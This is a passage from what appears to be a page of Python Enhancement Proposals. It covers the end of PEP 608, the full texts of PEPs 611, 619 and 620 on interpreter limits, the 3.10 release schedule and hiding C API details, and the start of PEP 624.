order, rather than sorting them by name. New warning. Since more and more projects are tested with all warnings treated as errors, any new warning can cause a project test to fail. Function removed from the C API. Structure made opaque in the C API. For example, PyInterpreterState became opaque in Python 3.8 which broke projects accessing interp->modules (PyImport_GetModuleDict() should be used instead). Cleaning up Python and DeprecationWarning One of the Zen of Python (PEP 20) motto is: There should be one– and preferably only one –obvious way to do it. When Python evolves, new ways emerge inevitably. DeprecationWarning are emitted to suggest to use the new way, but many developers ignore these warnings which are silent by default. Sometimes, supporting both ways has a minor maintenance cost, but Python core developers prefer to drop the old way to clean up the Python code base and standard library. Such kind of change is backward incompatible. More incompatible changes than usual should be expected with the end of the Python 2 support which is a good opportunity to cleaning up old Python code. Distributed CI Checking if selected projects are compatible with the master branch of Python can be automated using a distributed CI. Existing CIs can be reused. New CIs can be added for projects which are not tested on the next Python yet. It is recommended to treat DeprecationWarning warnings as errors when testing on the next Python. A job testing a project on the next Python doesn’t have to be “mandatory” (block the whole CI). It is fine to have failures during the beta phase of a Python release. The job only has to pass for the final Python release. Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Rejected

PEP 608 – Coordinated Python release

Standards Track

Block a Python release until a compatible version of selected projects is available.

PEP 611 – The one million limit Author: Mark Shannon <mark at hotpy.org> Status: Withdrawn Type: Standards Track Created: 05-Dec-2019 Post-History: Table of Contents Abstract Motivation Is this a worthwhile trade off? Rationale One million Specification Recursion depth Soft and hard limits Introspecting and modifying the limits Inferred limits The advantages for CPython of imposing these limits: Line of code in a module and code object restrictions. Total number of classes in a running interpreter Enforcement Hard limits in CPython Backwards Compatibility Other implementations General purpose implementations Special purpose implementations Security Implications Reference Implementation Rejected Ideas Open Issues References Copyright Abstract This PR proposes a soft limit of one million (1 000 000), and a larger hard limit for various aspects of Python code and its implementation. The Python language does not specify limits for many of its features. Not having any limit to these values seems to enhance programmer freedom, at least superficially, but in practice the CPython VM and other Python virtual machines have implicit limits or are forced to assume that the limits are astronomical, which is expensive. This PR lists a number of features which are to have a limit of one million. For CPython the hard limit will be eight million (8 000 000). Motivation There are many values that need to be represented in a virtual machine. If no limit is specified for these values, then the representation must either be inefficient or vulnerable to overflow. The CPython virtual machine represents values like line numbers, stack offsets and instruction offsets by 32 bit values. This is inefficient, and potentially unsafe. It is inefficient as actual values rarely need more than a dozen or so bits to represent them. It is unsafe as malicious or poorly generated code could cause values to exceed 232. For example, line numbers are represented by 32 bit values internally. This is inefficient, given that modules almost never exceed a few thousand lines. Despite being inefficient, it is still vulnerable to overflow as it is easy for an attacker to created a module with billions of newline characters. Memory access is usually a limiting factor in the performance of modern CPUs. Better packing of data structures enhances locality and reduces memory bandwidth, at a modest increase in ALU usage (for shifting and masking). Being able to safely store important values in 20 bits would allow memory savings in several data structures including, but not limited to: Frame objects Object headers Code objects There is also the potential for a more efficient instruction format, speeding up interpreter dispatch. Is this a worthwhile trade off? The downside of any form of limit is that it might potentially make someone’s job harder, for example, it may be harder to write a code generator that keeps the size of modules to one million lines. However, it is the author’s opinion, having written many code generators, that such a limit is extremely unlikely to be a problem in practice. The upside of these limits is the freedom it grants implementers of runtimes, whether CPython, PyPy, or any other implementation, to improve performance. It is the author’s belief, that the potential value of even a 0.1% reduction in the cost of running Python programs globally will hugely exceed the cost of modifying a handful of code generators. Rationale Imposing a limit on values such as lines of code in a module, and the number of local variables, has significant advantages for ease of implementation and efficiency of virtual machines. If the limit is sufficiently large, there is no adverse effect on users of the language. By selecting a fixed but large limit for these values, it is possible to have both safety and efficiency whilst causing no inconvenience to human programmers and only very rare problems for code generators. One million The value “one million” is very easy to remember. The one million limit is mostly a limit on human generated code, not runtime sizes. One million lines in a single module is a ridiculous concentration of code; the entire Python standard library is about 2/3rd of a million lines, spread over 1600 files. The Java Virtual Machine (JVM) [1] specifies a limit of 216-1 (65535) for many program elements similar to those covered here. This limit enables limited values to fit in 16 bits, which is a very efficient machine representation. However, this limit is quite easily exceeded in practice by code generators and the author is aware of existing Python code that already exceeds 216 lines of code. The hard limit of eight million fits into 23 bits which, although not as convenient for machine representation, is still reasonably compact. A limit of eight million is small enough for efficiency advantages (only 23 bits), but large enough not to impact users (no one has ever written a module that large). While it is possible that generated code could exceed the limit, it is easy for a code generator to modify its output to conform. The author has hit the 64K limit in the JVM on at least two occasions when generating Java code. The workarounds were relatively straightforward and wouldn’t have been necessary with a limit of one million bytecodes or lines of code. Where necessary, the soft limit can increased for those programs that exceed the one million limit. Having a soft limit of one million provides a warning of problematic code, without causing an error and forcing an immediate fix. It also allows dynamic optimizers to use more compact formats without inline checks. Specification This PR proposes that the following language features and runtime values have a soft limit of one million. The number of source code lines in a module The number of bytecode instructions in a code object. The sum of local variables and stack usage for a code object. The number of classes in a running interpreter. The recursion depth of Python code. It is likely that memory constraints would be a limiting factor before the number of classes reaches one million. Recursion depth The recursion depth limit only applies to pure Python code. Code written in a foreign language, such as C, may consume hardware stack and thus be limited to a recursion depth of a few thousand. It is expected that implementations will raise an exception should the hardware stack get close to its limit. For code that mixes Python and C calls, it is most likely that the hardware limit will apply first. The size of the hardware recursion may vary at runtime and will not be visible. Soft and hard limits Implementations should emit a warning whenever a soft limit is exceeded, unless the hard limit has the same value as the soft limit. When a hard limit is exceeded, then an exception should be raised. Depending on the implementation, different hard limits might apply. In some cases the hard limit might be below the soft limit. For example, many micropython ports are unlikely to be able to support such large limits. Introspecting and modifying the limits One or more functions will be provided in the sys module to introspect or modify the soft limits at runtime, but the limits may not be raised above the hard limit. Inferred limits These limits are not part of the specification, but a limit of less than one million can be inferred from the limit on the number of bytecode instructions in a code object. Because there would be insufficient instructions to load more than one million constants or use more than one million names. The number of distinct names in a code object. The number of constants in a code object. The advantages for CPython of imposing these limits: Line of code in a module and code object restrictions. When compiling source code to bytecode or modifying bytecode for profiling or debugging, an intermediate form is required. By limiting operands to 23 bits, instructions can be represented in a compact 64 bit form allowing very fast passes over the instruction sequence. Having 23 bit operands (24 bits for relative branches) allows instructions to fit into 32 bits without needing additional EXTENDED_ARG instructions. This improves dispatch, as the operand is strictly local to the instruction. It is unclear whether this would help performance, it is merely an example of what is possible. The benefit of restricting the number of lines in a module is primarily the implied limit on bytecodes. It is more important for implementations that it is instructions per code object, not lines per module, that is limited to one million, but it is much easier to explain a one million line limit. Having a consistent limit of one million is just easier to remember. It is mostly likely, although not guaranteed, that the line limit will be hit first and thus provide a simpler to understand error message to the developer. Total number of classes in a running interpreter This limit has to the potential to reduce the size of object headers considerably. Currently objects have a two word header, for objects without references (int, float, str, etc.) or a four word header for objects with references. By reducing the maximum number of classes, the space for the class reference can be reduced from 64 bits to fewer than 32 bits allowing a much more compact header. For example, a super-compact header format might look like this: struct header { uint32_t gc_flags:6; /* Needs finalisation, might be part of a cycle, etc. */ uint32_t class_id:26; /* Can be efficiently mapped to address by ensuring suitable alignment of classes */ uint32_t refcount; /* Limited memory or saturating */ } This format would reduce the size of a Python object without slots, on a 64 bit machine, from 40 to 16 bytes. Note that there are two ways to use a 32 bit refcount on a 64 bit machine. One is to limit each sub-interpreter to 32Gb of memory. The other is to use a saturating reference count, which would be a little bit slower, but allow unlimited memory allocation. Enforcement Python implementations are not obliged to enforce the limits. However, if a limit can be enforced without hurting performance, then it should be. It is anticipated that CPython will enforce the limits as follows: The number of source code lines in a module: version 3.9 onward. The number of bytecode instructions in a code object: 3.9 onward. The sum of local variables and stack usage for a code object: 3.9 onward. The number of classes in a running interpreter: probably 3.10 onward, maybe warning in 3.9. Hard limits in CPython CPython will enforce a hard limit on all the above values. The value of the hard limit will be 8 million. It is hypothetically possible that some machine generated code exceeds one or more of the above limits. The author believes that to be incredibly unlikely and easily fixed by modifying the output stage of the code generator. We would like to gain the benefit from the above limits for performance as soon as possible. To that end, CPython will start applying limits from version 3.9 onward. To ease the transition and minimize breakage, the initial limits will be 16 million, reducing to 8 million in a later version. Backwards Compatibility The actual hard limits enforced by CPython will be: Version Hard limit 3.9 16 million 3.10 onward 8 million Given the rarity of code generators that would exceed the one million limits, and the environments in which they are typically used, it seems reasonable to start issuing warnings in 3.9 if any limited quantity exceeds one million. Historically the recursion limit has been set at 1000. To avoid breaking code that implicitly relies on the value being small, the soft recursion limit will be increased gradually, as follows: Version Soft limit 3.9 4 000 3.10 16 000 3.11 64 000 3.12 125 000 3.13 1 million The hard limit will be set to 8 million immediately. Other implementations Implementations of Python other than CPython have different purposes, so different limits might be appropriate. This is acceptable, provided the limits are clearly documented. General purpose implementations General purpose implementations, such as PyPy, should use the one million limit. If maximum compatibility is a goal, then they should also follow CPython’s behaviour for 3.9 to 3.11. Special purpose implementations Special purpose implementations may use lower limits, as long as they are clearly documented. An implementation designed for embedded systems, for example MicroPython, might impose limits as low as a few thousand. Security Implications Minimal. This reduces the attack surface of any Python virtual machine by a small amount. Reference Implementation None, as yet. This will be implemented in CPython, once the PEP has been accepted. Rejected Ideas Being able to modify the hard limits upwards at compile time was suggested by Tal Einat. This is rejected as the current limits of 232 have not been an issue, and the practical advantages of allowing limits between 220 and 232 seem slight compared to the additional code complexity of supporting such a feature. Open Issues None, as yet. References [1] The Java Virtual Machine specification https://docs.oracle.com/javase/specs/jvms/se8/jvms8.pdf Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Withdrawn

PEP 611 – The one million limit

Standards Track

This PR proposes a soft limit of one million (1 000 000), and a larger hard limit for various aspects of Python code and its implementation.

PEP 619 – Python 3.10 Release Schedule Author: Pablo Galindo Salgado <pablogsal at python.org> Status: Active Type: Informational Topic: Release Created: 25-May-2020 Python-Version: 3.10 Table of Contents Abstract Release Manager and Crew Release Schedule 3.10.0 schedule Bugfix releases Source-only security fix releases 3.10 Lifespan Features for 3.10 Copyright Abstract This document describes the development and release schedule for Python 3.10. The schedule primarily concerns itself with PEP-sized items. Release Manager and Crew 3.10 Release Manager: Pablo Galindo Salgado Windows installers: Steve Dower Mac installers: Ned Deily Documentation: Julien Palard Release Schedule 3.10.0 schedule Note: the dates below use a 17-month development period that results in a 12-month release cadence between feature versions, as defined by PEP 602. Actual: 3.10 development begins: Monday, 2020-05-18 3.10.0 alpha 1: Monday, 2020-10-05 3.10.0 alpha 2: Tuesday, 2020-11-03 3.10.0 alpha 3: Monday, 2020-12-07 3.10.0 alpha 4: Monday, 2021-01-04 3.10.0 alpha 5: Wednesday, 2021-02-03 3.10.0 alpha 6: Monday, 2021-03-01 3.10.0 alpha 7: Tuesday, 2021-04-06 3.10.0 beta 1: Monday, 2021-05-03 (No new features beyond this point.) 3.10.0 beta 2: Monday, 2021-05-31 3.10.0 beta 3: Thursday, 2021-06-17 3.10.0 beta 4: Saturday, 2021-07-10 3.10.0 candidate 1: Tuesday, 2021-08-03 3.10.0 candidate 2: Tuesday, 2021-09-07 3.10.0 final: Monday, 2021-10-04 Bugfix releases Actual: 3.10.1: Monday, 2021-12-06 3.10.2: Friday, 2022-01-14 3.10.3: Wednesday, 2022-03-16 3.10.4: Thursday, 2022-03-24 3.10.5: Monday, 2022-06-06 3.10.6: Tuesday, 2022-08-02 3.10.7: Tuesday, 2022-09-06 3.10.8: Tuesday, 2022-10-11 3.10.9: Tuesday, 2022-12-06 3.10.10: Wednesday, 2023-02-08 3.10.11: Wednesday, 2023-04-05 (final regular bugfix release with binary installers) Source-only security fix releases Provided irregularly on an “as-needed” basis until October 2026. 3.10.12: Tuesday, 2023-06-06 3.10.13: Thursday, 2023-08-24 3.10 Lifespan 3.10 will receive bugfix updates approximately every 2 months for approximately 18 months. Some time after the release of 3.11.0 final, the 11th and final 3.10 bugfix update will be released. After that, it is expected that security updates (source only) will be released until 5 years after the release of 3.10 final, so until approximately October 2026. Features for 3.10 Some of the notable features of Python 3.10 include: PEP 604, Allow writing union types as X | Y PEP 612, Parameter Specification Variables PEP 613, Explicit Type Aliases PEP 618, Add Optional Length-Checking To zip PEP 626, Precise line numbers for debugging and other tools PEP 634, PEP 635, PEP 636, Structural Pattern Matching PEP 644, Require OpenSSL 1.1.1 or newer PEP 624, Remove Py_UNICODE encoder APIs PEP 597, Add optional EncodingWarning Copyright This document has been placed in the public domain.

Active

PEP 619 – Python 3.10 Release Schedule

Informational

This document describes the development and release schedule for Python 3.10. The schedule primarily concerns itself with PEP-sized items.

PEP 620 – Hide implementation details from the C API Author: Victor Stinner <vstinner at python.org> Status: Withdrawn Type: Standards Track Created: 19-Jun-2020 Python-Version: 3.12 Table of Contents Abstract PEP withdrawn Motivation The C API blocks CPython evolutions Same CPython design since 1990: structures and reference counting Why is PyPy more efficient than CPython? PyPy bottleneck: the Python C API Rationale Hide implementation details Relationship with the limited C API Specification Summary Reorganize the C API header files Move private functions to the internal C API Convert macros to static inline functions Make structures opaque Disallow using Py_TYPE() as l-value New C API functions must not return borrowed references Avoid functions returning PyObject** New pythoncapi_compat.h header file Process to reduce the number of broken C extensions Version History Copyright Abstract Introduce C API incompatible changes to hide implementation details. Once most implementation details will be hidden, evolution of CPython internals would be less limited by C API backward compatibility issues. It will be way easier to add new features. It becomes possible to experiment with more advanced optimizations in CPython than just micro-optimizations, like tagged pointers. Define a process to reduce the number of broken C extensions. The implementation of this PEP is expected to be done carefully over multiple Python versions. It already started in Python 3.7 and most changes are already completed. The Process to reduce the number of broken C extensions dictates the rhythm. PEP withdrawn This PEP was withdrawn by its author since the scope is too broad and the work is distributed over multiple Python versions, which makes it difficult to make a decision on the overall PEP. It was split into new PEPs with narrower and better defined scopes, like PEP 670. Motivation The C API blocks CPython evolutions Adding or removing members of C structures is causing multiple backward compatibility issues. Adding a new member breaks the stable ABI (PEP 384), especially for types declared statically (e.g. static PyTypeObject MyType = {...};). In Python 3.4, the PEP 442 “Safe object finalization” added the tp_finalize member at the end of the PyTypeObject structure. For ABI backward compatibility, a new Py_TPFLAGS_HAVE_FINALIZE type flag was required to announce if the type structure contains the tp_finalize member. The flag was removed in Python 3.8 (bpo-32388). The PyTypeObject.tp_print member, deprecated since Python 3.0 released in 2009, has been removed in the Python 3.8 development cycle. But the change broke too many C extensions and had to be reverted before 3.8 final release. Finally, the member was removed again in Python 3.9. C extensions rely on the ability to access structure members, indirectly through the C API, or even directly. Modifying structures like PyListObject cannot be even considered. The PyTypeObject structure is the one which evolved the most, simply because there was no other way to evolve CPython than modifying it. A C extension can technically dereference a PyObject* pointer and access PyObject members. This prevents experiments like tagged pointers (storing small values as PyObject* which does not point to a valid PyObject structure). Replacing Python garbage collector with a tracing garbage collector would also need to remove PyObject.ob_refcnt reference counter, whereas currently Py_INCREF() and Py_DECREF() macros access directly to PyObject.ob_refcnt. Same CPython design since 1990: structures and reference counting When the CPython project was created, it was written with one principle: keep the implementation simple enough so it can be maintained by a single developer. CPython complexity grew a lot and many micro-optimizations have been implemented, but CPython core design has not changed. Members of PyObject and PyTupleObject structures have not changed since the “Initial revision” commit (1990): #define OB_HEAD \ unsigned int ob_refcnt; \ struct _typeobject *ob_type; typedef struct _object { OB_HEAD } object; typedef struct { OB_VARHEAD object *ob_item[1]; } tupleobject; Only names changed: object was renamed to PyObject and tupleobject was renamed to PyTupleObject. CPython still tracks Python objects lifetime using reference counting internally and for third party C extensions (through the Python C API). All Python objects must be allocated on the heap and cannot be moved. Why is PyPy more efficient than CPython? The PyPy project is a Python implementation which is 4.2x faster than CPython on average. PyPy developers chose to not fork CPython, but start from scratch to have more freedom in terms of optimization choices. PyPy does not use reference counting, but a tracing garbage collector which moves objects. Objects can be allocated on the stack (or even not at all), rather than always having to be allocated on the heap. Objects layouts are designed with performance in mind. For example, a list strategy stores integers directly as integers, rather than objects. Moreover, PyPy also has a JIT compiler which emits fast code thanks to the efficient PyPy design. PyPy bottleneck: the Python C API While PyPy is way more efficient than CPython to run pure Python code, it is as efficient or slower than CPython to run C extensions. Since the C API requires PyObject* and allows to access directly structure members, PyPy has to associate a CPython object to PyPy objects and maintain both consistent. Converting a PyPy object to a CPython object is inefficient. Moreover, reference counting also has to be implemented on top of PyPy tracing garbage collector. These conversions are required because the Python C API is too close to the CPython implementation: there is no high-level abstraction. For example, structures members are part of the public C API and nothing prevents a C extension to get or set directly PyTupleObject.ob_item[0] (the first item of a tuple). See Inside cpyext: Why emulating CPython C API is so Hard (Sept 2018) by Antonio Cuni for more details. Rationale Hide implementation details Hiding implementation details from the C API has multiple advantages: It becomes possible to experiment with more advanced optimizations in CPython than just micro-optimizations. For example, tagged pointers, and replace the garbage collector with a tracing garbage collector which can move objects. Adding new features in CPython becomes easier. PyPy should be able to avoid conversions to CPython objects in more cases: keep efficient PyPy objects. It becomes easier to implement the C API for a new Python implementation. More C extensions will be compatible with Python implementations other than CPython. Relationship with the limited C API The PEP 384 “Defining a Stable ABI” is implemented in Python 3.4. It introduces the “limited C API”: a subset of the C API. When the limited C API is used, it becomes possible to build a C extension only once and use it on multiple Python versions: that’s the stable ABI. The main limitation of the PEP 384 is that C extensions have to opt-in for the limited C API. Only very few projects made this choice, usually to ease distribution of binaries, especially on Windows. This PEP moves the C API towards the limited C API. Ideally, the C API will become the limited C API and all C extensions will use the stable ABI, but this is out of this PEP scope. Specification Summary (Completed) Reorganize the C API header files: create Include/cpython/ and Include/internal/ subdirectories. (Completed) Move private functions exposing implementation details to the internal C API. (Completed) Convert macros to static inline functions. (Completed) Add new functions Py_SET_TYPE(), Py_SET_REFCNT() and Py_SET_SIZE(). The Py_TYPE(), Py_REFCNT() and Py_SIZE() macros become functions which cannot be used as l-value. (Completed) New C API functions must not return borrowed references. (In Progress) Provide pythoncapi_compat.h header file. (In Progress) Make structures opaque, add getter and setter functions. (Not Started) Deprecate PySequence_Fast_ITEMS(). (Not Started) Convert PyTuple_GET_ITEM() and PyList_GET_ITEM() macros to static inline functions. Reorganize the C API header files The first consumer of the C API was Python itself. There is no clear separation between APIs which must not be used outside Python, and API which are public on purpose. Header files must be reorganized in 3 API: Include/ directory is the limited C API: no implementation details, structures are opaque. C extensions using it get a stable ABI. Include/cpython/ directory is the CPython C API: less “portable” API, depends more on the Python version, expose some implementation details, few incompatible changes can happen. Include/internal/ directory is the internal C API: implementation details, incompatible changes are likely at each Python release. The creation of the Include/cpython/ directory is fully backward compatible. Include/cpython/ header files cannot be included directly and are included automatically by Include/ header files when the Py_LIMITED_API macro is not defined. The internal C API is installed and can be used for specific usage like debuggers and profilers which must access structures members without executing code. C extensions using the internal C API are tightly coupled to a Python version and must be recompiled at each Python version. STATUS: Completed (in Python 3.8) The reorganization of header files started in Python 3.7 and was completed in Python 3.8: bpo-35134: Add a new Include/cpython/ subdirectory for the “CPython API” with implementation details. bpo-35081: Move internal headers to Include/internal/ Move private functions to the internal C API Private functions which expose implementation details must be moved to the internal C API. If a C extension relies on a CPython private function which exposes CPython implementation details, other Python implementations have to re-implement this private function to support this C extension. STATUS: Completed (in Python 3.9) Private functions moved to the internal C API in Python 3.8: _PyObject_GC_TRACK(), _PyObject_GC_UNTRACK() Macros and functions excluded from the limited C API in Python 3.9: _PyObject_SIZE(), _PyObject_VAR_SIZE() PyThreadState_DeleteCurrent() PyFPE_START_PROTECT(), PyFPE_END_PROTECT() _Py_NewReference(), _Py_ForgetReference() _PyTraceMalloc_NewReference() _Py_GetRefTotal() Private functions moved to the internal C API in Python 3.9: GC functions like _Py_AS_GC(), _PyObject_GC_IS_TRACKED() and _PyGCHead_NEXT() _Py_AddToAllObjects() (not exported) _PyDebug_PrintTotalRefs(), _Py_PrintReferences(), _Py_PrintReferenceAddresses() (not exported) Public “clear free list” functions moved to the internal C API and renamed to private functions in Python 3.9: PyAsyncGen_ClearFreeLists() PyContext_ClearFreeList() PyDict_ClearFreeList() PyFloat_ClearFreeList() PyFrame_ClearFreeList() PyList_ClearFreeList() PyTuple_ClearFreeList() Functions simply removed: PyMethod_ClearFreeList() and PyCFunction_ClearFreeList(): bound method free list removed in Python 3.9. PySet_ClearFreeList(): set free list removed in Python 3.4. PyUnicode_ClearFreeList(): Unicode free list removed in Python 3.3. Convert macros to static inline functions Converting macros to static inline functions has multiple advantages: Functions have well defined parameter types and return type. Functions can use variables with a well defined scope (the function). Debugger can be put breakpoints on functions and profilers can display the function name in the call stacks. In most cases, it works even when a static inline function is inlined. Functions don’t have macros pitfalls. Converting macros to static inline functions should only impact very few C extensions that use macros in unusual ways. For backward compatibility, functions must continue to accept any type, not only PyObject*, to avoid compiler warnings, since most macros cast their parameters to PyObject*. Python 3.6 requires C compilers to support static inline functions: the PEP 7 requires a subset of C99. STATUS: Completed (in Python 3.9) Macros converted to static inline functions in Python 3.8: Py_INCREF(), Py_DECREF() Py_XINCREF(), Py_XDECREF() PyObject_INIT(), PyObject_INIT_VAR() _PyObject_GC_TRACK(), _PyObject_GC_UNTRACK(), _Py_Dealloc() Macros converted to regular functions in Python 3.9: Py_EnterRecursiveCall(), Py_LeaveRecursiveCall() (added to the limited C API) PyObject_INIT(), PyObject_INIT_VAR() PyObject_GET_WEAKREFS_LISTPTR() PyObject_CheckBuffer() PyIndex_Check() PyObject_IS_GC() PyObject_NEW() (alias to PyObject_New()), PyObject_NEW_VAR() (alias to PyObject_NewVar()) PyType_HasFeature() (always call PyType_GetFlags()) Py_TRASHCAN_BEGIN_CONDITION() and Py_TRASHCAN_END() macros now call functions which hide implementation details, rather than accessing directly members of the PyThreadState structure. Make structures opaque The following structures of the C API become opaque: PyInterpreterState PyThreadState PyGC_Head PyTypeObject PyObject and PyVarObject PyTypeObject All types which inherit from PyObject or PyVarObject C extensions must use getter or setter functions to get or set structure members. For example, tuple->ob_item[0] must be replaced with PyTuple_GET_ITEM(tuple, 0). To be able to move away from reference counting, PyObject must become opaque. Currently, the reference counter PyObject.ob_refcnt is exposed in the C API. All structures must become opaque, since they “inherit” from PyObject. For, PyFloatObject inherits from PyObject: typedef struct { PyObject ob_base; double ob_fval; } PyFloatObject; Making PyObject fully opaque requires converting Py_INCREF() and Py_DECREF() macros to function calls. This change has an impact on performance. It is likely to be one of the very last changes when making structures opaque. Making PyTypeObject structure opaque breaks C extensions declaring types statically (e.g. static PyTypeObject MyType = {...};). C extensions must use PyType_FromSpec() to allocate types on the heap instead. Using heap types has other advantages like being compatible with subinterpreters. Combined with PEP 489 “Multi-phase extension module initialization”, it makes a C extension behavior closer to a Python module, like allowing to create more than one module instance. Making PyThreadState structure opaque requires adding getter and setter functions for members used by C extensions. STATUS: In Progress (started in Python 3.8) The PyInterpreterState structure was made opaque in Python 3.8 (bpo-35886) and the PyGC_Head structure (bpo-40241) was made opaque in Python 3.9. Issues tracking the work to prepare the C API to make following structures opaque: PyObject: bpo-39573 PyTypeObject: bpo-40170 PyFrameObject: bpo-40421 Python 3.9 adds PyFrame_GetCode() and PyFrame_GetBack() getter functions, and moves PyFrame_GetLineNumber to the limited C API. PyThreadState: bpo-39947 Python 3.9 adds 3 getter functions: PyThreadState_GetFrame(), PyThreadState_GetID(), PyThreadState_GetInterpreter(). Disallow using Py_TYPE() as l-value The Py_TYPE() function gets an object type, its PyObject.ob_type member. It is implemented as a macro which can be used as an l-value to set the type: Py_TYPE(obj) = new_type. This code relies on the assumption that PyObject.ob_type can be modified directly. It prevents making the PyObject structure opaque. New setter functions Py_SET_TYPE(), Py_SET_REFCNT() and Py_SET_SIZE() are added and must be used instead. The Py_TYPE(), Py_REFCNT() and Py_SIZE() macros must be converted to static inline functions which can not be used as l-value. For example, the Py_TYPE() macro: #define Py_TYPE(ob) (((PyObject*)(ob))->ob_type) becomes: #define _PyObject_CAST_CONST(op) ((const PyObject*)(op)) static inline PyTypeObject* _Py_TYPE(const PyObject *ob) { return ob->ob_type; } #define Py_TYPE(ob) _Py_TYPE(_PyObject_CAST_CONST(ob)) STATUS: Completed (in Python 3.10) New functions Py_SET_TYPE(), Py_SET_REFCNT() and Py_SET_SIZE() were added to Python 3.9. In Python 3.10, Py_TYPE(), Py_REFCNT() and Py_SIZE() can no longer be used as l-value and the new setter functions must be used instead. New C API functions must not return borrowed references When a function returns a borrowed reference, Python cannot track when the caller stops using this reference. For example, if the Python list type is specialized for small integers, store directly “raw” numbers rather than Python objects, PyList_GetItem() has to create a temporary Python object. The problem is to decide when it is safe to delete the temporary object. The general guidelines is to avoid returning borrowed references for new C API functions. No function returning borrowed references is scheduled for removal by this PEP. STATUS: Completed (in Python 3.9) In Python 3.9, new C API functions returning Python objects only return strong references: PyFrame_GetBack() PyFrame_GetCode() PyObject_CallNoArgs() PyObject_CallOneArg() PyThreadState_GetFrame() Avoid functions returning PyObject** The PySequence_Fast_ITEMS() function gives a direct access to an array of PyObject* objects. The function is deprecated in favor of PyTuple_GetItem() and PyList_GetItem(). PyTuple_GET_ITEM() can be abused to access directly the PyTupleObject.ob_item member: PyObject **items = &PyTuple_GET_ITEM(0); The PyTuple_GET_ITEM() and PyList_GET_ITEM() macros are converted to static inline functions to disallow that. STATUS: Not Started New pythoncapi_compat.h header file Making structures opaque requires modifying C extensions to use getter and setter functions. The practical issue is how to keep support for old Python versions which don’t have these functions. For example, in Python 3.10, it is no longer possible to use Py_TYPE() as an l-value. The new Py_SET_TYPE() function must be used instead: #if PY_VERSION_HEX >= 0x030900A4 Py_SET_TYPE(&MyType, &PyType_Type); #else Py_TYPE(&MyType) = &PyType_Type; #endif This code may ring a bell to developers who ported their Python code base from Python 2 to Python 3. Python will distribute a new pythoncapi_compat.h header file which provides new C API functions to old Python versions. Example: #if PY_VERSION_HEX < 0x030900A4 static inline void _Py_SET_TYPE(PyObject *ob, PyTypeObject *type) { ob->ob_type = type; } #define Py_SET_TYPE(ob, type) _Py_SET_TYPE((PyObject*)(ob), type) #endif // PY_VERSION_HEX < 0x030900A4 Using this header file, Py_SET_TYPE() can be used on old Python versions as well. Developers can copy this file in their project, or even to only copy/paste the few functions needed by their C extension. STATUS: In Progress (implemented but not distributed by CPython yet) The pythoncapi_compat.h header file is currently developed at: https://github.com/pythoncapi/pythoncapi_compat Process to reduce the number of broken C extensions Process to reduce the number of broken C extensions when introducing C API incompatible changes listed in this PEP: Estimate how many popular C extensions are affected by the incompatible change. Coordinate with maintainers of broken C extensions to prepare their code for the future incompatible change. Introduce the incompatible changes in Python. The documentation must explain how to port existing code. It is recommended to merge such changes at the beginning of a development cycle to have more time for tests. Changes which are the most likely to break a large number of C extensions should be announced on the capi-sig mailing list to notify C extensions maintainers to prepare their project for the next Python. If the change breaks too many projects, reverting the change should be discussed, taking in account the number of broken packages, their importance in the Python community, and the importance of the change. The coordination usually means reporting issues to the projects, or even proposing changes. It does not require waiting for a new release including fixes for every broken project. Since more and more C extensions are written using Cython, rather directly using the C API, it is important to ensure that Cython is prepared in advance for incompatible changes. It gives more time for C extension maintainers to release a new version with code generated with the updated Cython (for C extensions distributing the code generated by Cython). Future incompatible changes can be announced by deprecating a function in the documentation and by annotating the function with Py_DEPRECATED(). But making a structure opaque and preventing the usage of a macro as l-value cannot be deprecated with Py_DEPRECATED(). The important part is coordination and finding a balance between CPython evolutions and backward compatibility. For example, breaking a random, old, obscure and unmaintained C extension on PyPI is less severe than breaking numpy. If a change is reverted, we move back to the coordination step to better prepare the change. Once more C extensions are ready, the incompatible change can be reconsidered. Version History Version 3, June 2020: PEP rewritten from scratch. Python now distributes a new pythoncapi_compat.h header and a process is defined to reduce the number of broken C extensions when introducing C API incompatible changes listed in this PEP. Version 2, April 2020: PEP: Modify the C API to hide implementation details. Version 1, July 2017: PEP: Hide implementation details in the C API sent to python-ideas Copyright This document has been placed in the public domain.

Withdrawn

PEP 620 – Hide implementation details from the C API

Standards Track

Introduce C API incompatible changes to hide implementation details.

PEP 624 – Remove Py_UNICODE encoder APIs Author: Inada Naoki <songofacandy at gmail.com> Status: Final Type: Standards Track Created: 06-Jul-2020 Python-Version: 3.11 Post-History: 08-Jul-2020 Table of Contents Abstract Motivation Rationale Deprecated since Python 3.3 Inefficient Not used widely Alternative APIs Plan Alternative Ideas Replace Py_UNICODE* with PyObject* Replace Py_UNICODE* with Py_UCS4* Replace Py_UNICODE* with wchar_t* Rejected Ideas Emit runtime warning Discussions Objections References Copyright Abstract This PEP proposes to remove deprecated Py_UNICODE encoder APIs in Python 3.11: PyUnicode_Encode() PyUnicode_EncodeASCII() PyUnicode_EncodeLatin1() PyUnicode_EncodeUTF7() PyUnicode_EncodeUTF8() PyUnicode_EncodeUTF16() PyUnicode_EncodeUTF32() PyUnicode_EncodeUnicodeEscape() PyUnicode_EncodeRawUnicodeEscape() PyUnicode_EncodeCharmap() PyUnicode_TranslateCharmap() PyUnicode_EncodeDecimal() PyUnicode_TransformDecimalToASCII() Note PEP 623 propose to remove Unicode object APIs relating to Py_UNICODE. On the other hand, this PEP is not relating to Unicode object. These PEPs are split because they have different motivations and need different discussions. Motivation In general, reducing the number of APIs that have been deprecated for a long time and have few users is a good idea for not only it improves the maintainability of CPython, but it also helps API users and other Python implementations. Rationale Deprecated since Python 3.3 Py_UNICODE and APIs using it has been deprecated since Python 3.3. Inefficient All of these APIs are implemented using PyUnicode_FromWideChar. So these APIs are inefficient when user want to encode Unicode object. Not used widely When searching from the top 4000 PyPI packages [1], only pyodbc use these APIs. PyUnicode_EncodeUTF8() PyUnicode_EncodeUTF16() pyodbc uses these APIs to encode Unicode object into bytes object. So it is easy to fix it. [2] Alternative APIs There are alternative APIs to accept PyObject *unicode instead of Py_UNICODE *. Users can migrate to them. Deprecated API Alternative APIs PyUnicode_Encode() PyUnicode_AsEncodedString() PyUnicode_EncodeASCII() PyUnicode_AsASCIIString() (1) PyUnicode_EncodeLatin1() PyUnicode_AsLatin1String() (1) PyUnicode_EncodeUTF7() (2) PyUnicode_EncodeUTF8() PyUnicode_AsUTF8String() (1) PyUnicode_EncodeUTF16() PyUnicode_AsUTF16String() (3) PyUnicode_EncodeUTF32() PyUnicode_AsUTF32String() (3) PyUnicode_EncodeUnicodeEscape() 